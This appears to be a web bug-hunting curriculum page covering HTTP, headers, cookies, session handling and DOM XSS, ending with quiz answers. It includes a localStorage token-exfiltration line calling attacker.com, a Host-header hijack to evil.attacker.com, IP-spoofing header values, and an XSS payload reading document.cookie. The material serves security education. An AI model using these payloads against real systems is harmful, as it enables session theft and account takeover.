Not a course.
A curriculum.
Progressive study from core web fundamentals to specialized bug hunting. Each module builds on the last. No gaps, no shortcuts.
HTTP is a stateless request-response protocol over TCP. Every request has an exact structure: METHOD /path HTTP/1.1\r\n, then headers, then \r\n\r\n (the critical separator), then optional body. HTTP/2 uses binary frames but Burp translates it — your workflow doesn't change.
GET — No body. Idempotent. But many APIs accept params in body anyway.
PUT — Replaces the full resource. Very interesting for IDOR.
PATCH — Partial modification. Even more interesting for IDOR.
DELETE — Always test if it works without auth.
OPTIONS — CORS negotiation. Reveals what methods the server allows.
Hunter thought: Try PUT /api/users/123 instead of GET. Many backends implement the happy path (GET, POST) but forget to protect less common verbs.
401 — Unauthenticated. No token.
403 — Authenticated but no permission. THE difference from 401.
404 — Or is it a 403 disguised? Many backends do this.
500 — Note what input caused it.
Differential error: If /api/documents/456 returns 403 but /api/documents/9999 returns 404, you confirmed ID 456 exists. That's user enumeration via status code oracle.
Most BAC/IDOR bugs live in the gap between authorization middleware and business logic. The middleware checks 'can you access documents?' but the business logic accepts documentId without verifying that document belongs to you.
Browser → CDN/WAF → LB → Auth MW → Authz MW → Routing → Business logic → DB
The gap between Authz MW and Business logic is where most bugs live.
Many backends use X-Forwarded-For for rate limiting, geolocation, or IP whitelist bypass. Test:
X-Forwarded-For: 127.0.0.1X-Real-IP: 127.0.0.1True-Client-IP: 10.0.0.1
If the server uses Host to build password reset links or confirmation emails, change it to your domain:
Host: evil.attacker.com
If the WAF only filters JSON but the backend accepts form data, you can bypass protections. Try switching:
Content-Type: application/x-www-form-urlencodedContent-Type: multipart/form-data
Request headers go from client to server — they tell the server who is asking, what format they accept, where they came from, and what credentials they carry. Response headers go from server to client — they tell the browser how to interpret and handle the response.
Hunter angle: Request headers you control are attack vectors. Response headers the server sends are information leakage and security posture signals.
These headers reveal the server's stack and should not be present in production:
Server: nginx/1.18.0 — web server version
X-Powered-By: Express — framework
X-AspNet-Version: 4.0.30319 — .NET version
X-Generator: Drupal 9 — CMS version
Via: 1.1 varnish — cache layer
X-Varnish: 12345678 — Varnish cache ID
Why it matters: these headers tell you what CVEs to look for, what CMS plugins exist, what framework quirks to exploit, and how the infrastructure is layered.
Content-Security-Policy — controls what resources the browser can load. Absence = XSS is easier to exploit. Weak policy = bypass vectors.
X-Frame-Options — prevents the page from being embedded in iframes. Absence = clickjacking possible.
X-Content-Type-Options: nosniff — prevents the browser from MIME-sniffing responses. Absence = content-type confusion attacks.
Strict-Transport-Security — forces HTTPS. Absence on HTTPS sites = downgrade attacks possible.
Referrer-Policy — controls what URL is sent in the Referer header. Absence = sensitive URLs may leak to third parties.
Permissions-Policy — controls browser features (camera, geolocation, etc.). Absence = features accessible when they shouldn't be.
These are the most useful request headers to tamper with during hunting:
Host — if the server uses this to build URLs (password resets, redirects), you can hijack tokens.
X-Forwarded-For / X-Real-IP — IP spoofing for rate limit bypass, whitelist bypass, geofencing bypass.
Origin — key for CORS testing. Change to attacker.com and see if ACAO reflects it.
Referer — some backends use this for access control ('only allow requests from our own pages'). Spoof it.
Content-Type — switching between JSON / form-data / multipart can bypass WAF filters or trigger different parsing logic.
X-HTTP-Method-Override — verb tunneling. A POST with this header can behave like a DELETE, bypassing method-level middleware.
Accept-Language — sometimes triggers different code paths (localized content, different auth logic). Worth varying.
Content-Security-Policy is complex enough to deserve its own module (3.8), but you need to be able to read it now. A CSP defines which sources are trusted for scripts, styles, images, etc.
Weak CSP patterns to look for:
script-src 'unsafe-inline' — inline scripts allowed. XSS payloads work directly.
script-src 'unsafe-eval' — eval() allowed. Many XSS bypass techniques work.
script-src * — wildcard. Any external script allowed.
script-src cdn.example.com — if cdn.example.com has JSONP or Angular, it's bypassable.
No CSP at all is obviously bad — but a misconfigured CSP is almost worse because it creates a false sense of security.
A common pattern: the CSP or HSTS is set in the application code, but a CDN or reverse proxy strips it before reaching the client. Test by hitting the origin directly (bypass CDN) and comparing headers.
Also common: the Vary header is set by the app but stripped by the CDN, invalidating the CORS protection.
Content-Security-Policy-Report-Only tells the browser to log violations but not enforce them. It's for testing. When left in production, it provides zero protection — the XSS still executes.
If you see this header, treat the page as if it had no CSP.
Some backends check the Referer header to confirm the request came from their own frontend. This is bypassable in two seconds:
Referer: https://legitimate-app.com/dashboard
The Referer header is client-controlled. Never a security boundary.
Sensitive endpoints (profile data, tokens, financial info) should have:
Cache-Control: no-store, no-cache, private
When missing, the response may be cached by shared proxies, CDNs or the browser itself — leaking the data to the next user on a shared machine or network.
The server sends Set-Cookie in the response. The browser stores it and attaches it automatically to every subsequent request matching the domain and path. The key word is automatically — the browser does this with no JS intervention, which is exactly what makes CSRF possible.
HttpOnly — Blocks document.cookie. Stops XSS from stealing the cookie directly. But doesn't stop CSRF.
Secure — Transmit over HTTPS only. Without this, the cookie travels in cleartext over HTTP.
SameSite=Strict — Only sent on same-site navigations. No cross-site requests at all.
SameSite=Lax — Sent on top-level navigations (clicking a link) but NOT on cross-site subresources. Default in modern browsers. Mitigates most CSRF but not all.
SameSite=None — Always sent. Requires Secure. Needed for legitimate cross-site usage (iframes, embeds). Classic CSRF territory.
Domain — If set to .example.com, the cookie is sent to all subdomains. A subdomain takeover can steal the cookie.
Path — Scopes the cookie to a path. Often ignored by hunters — but /api and /admin having different Path cookies is interesting.
Expires / Max-Age — No expiry = session cookie (disappears on browser close). Long expiry = persistent. Long-lived auth cookies are bigger impact for account takeover bugs.
A cookie set on api.example.com without a Domain attribute is only sent to api.example.com. If Domain=.example.com is set, it goes to every subdomain. This matters: a wildcard cookie scope plus a subdomain takeover on any subdomain = session cookie theft.
Session fixation happens when the app doesn't rotate the session token after login. Flow: (1) Attacker gets a pre-auth session token. (2) Tricks victim into using that token. (3) Victim logs in. (4) Attacker now has an authenticated session. The fix is trivial: generate a new session ID on every privilege change.
The most common session fixation pattern. The backend reuses the pre-auth session ID after login. Fix: always invalidate and reissue on any privilege escalation event.
Developers set the wildcard domain for SSO or subdomain sharing. They often don't audit all subdomains. A forgotten staging.example.com pointing somewhere externally controlled now has the session cookie in scope.
Set-Cookie: auth=xyz; HttpOnly; Secure; SameSite=Lax; Domain=.example.com; Max-Age=2592000. List every security concern. ▾Server-side: the server stores session state in memory or DB. The client holds only an opaque random ID — a pointer. Invalidation is instant: delete the record.
Stateless (JWT): all state is encoded in the token itself, signed but not encrypted by default. The server validates the signature and reads the payload — no DB lookup needed. You can't invalidate a token without a blocklist.
Creation (login) — token generated here. Bug: predictable token, no rotation from pre-auth state (fixation).
Transport — sent via cookie or Authorization header. Bug: missing HttpOnly/Secure, token in URL params.
Validation — server checks the token. Bug: accepting expired tokens, missing signature validation, trusting client-supplied role claims.
Invalidation (logout) — Bug: only client-side deletion, server still accepts old token.
A good session token is cryptographically random with enough entropy to make brute force infeasible. Red flags: sequential IDs, timestamps as tokens, base64-encoded predictable data, tokens under 128 bits. Collect 20 tokens and look for patterns.
Cookie (HttpOnly) — JS can't read it. Sent automatically. Protected from XSS token theft. Vulnerable to CSRF. Best default.
localStorage — JS can read it freely. Not auto-sent. CSRF-safe. But a single XSS = complete token exfiltration: fetch('//attacker.com/?t='+localStorage.getItem('token')).
Memory — Gone on tab close. Harder to steal. Used in high-security SPAs but impractical for most apps.
The frontend clears the cookie, the backend returns 200, but never invalidates the token server-side. The old token is permanently valid. Test: save the cookie before logout, replay it after.
The JWT payload contains role claims. The backend checks the signature but uses payload.role directly for authorization — if signature validation is weak (alg:none), it is full privilege escalation. Covered in depth in module 2.1.
Network request → HTML parsing → DOM construction → CSS → Render tree → Layout → Paint. The critical moment: HTML parsing is where the browser decides what is markup vs content. XSS is fundamentally a parsing problem — attacker-controlled data interpreted as markup.
The DOM is the browser's live in-memory representation of the page as a tree. JS can read and modify it at runtime. Key: innerHTML, document.write(), and eval() are DOM sinks — they interpret strings as HTML/JS. Attacker-controlled data reaching a sink = DOM XSS.
Sources — where attacker-controlled data enters JS: location.hash, location.search, document.referrer, window.name, postMessage data.
Sinks — where data gets executed as HTML/JS: innerHTML, outerHTML, document.write(), eval(), setTimeout(string), location.href= (open redirect/XSS), element.src=.
DOM XSS = source → no sanitization → sink. The server never sees the payload.
The primary security boundary is the origin (scheme + host + port). Cross-origin iframes can't read the parent's DOM. But: postMessage can cross origins (misconfigurations = module 3.7), clickjacking exploits visual overlay without read access, and window.open() gives opener handles.
Every page has a global execution context (window). Scripts from different origins don't share it. Service workers run separately with network interception capability — often overlooked attack surface. Prototype pollution: modifying Object.prototype in the global context affects all objects on the page.
t=location.hash.substring(1),document.querySelector('#msg').innerHTML=decodeURIComponent(t). Is this exploitable? What's the payload? What's the impact? ▾location.hash. Sink: innerHTML. No sanitization. Payload: #%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E. Impact: DOM XSS — hash-based so no server-side filter catches it. If cookies are not HttpOnly = full session theft. ▾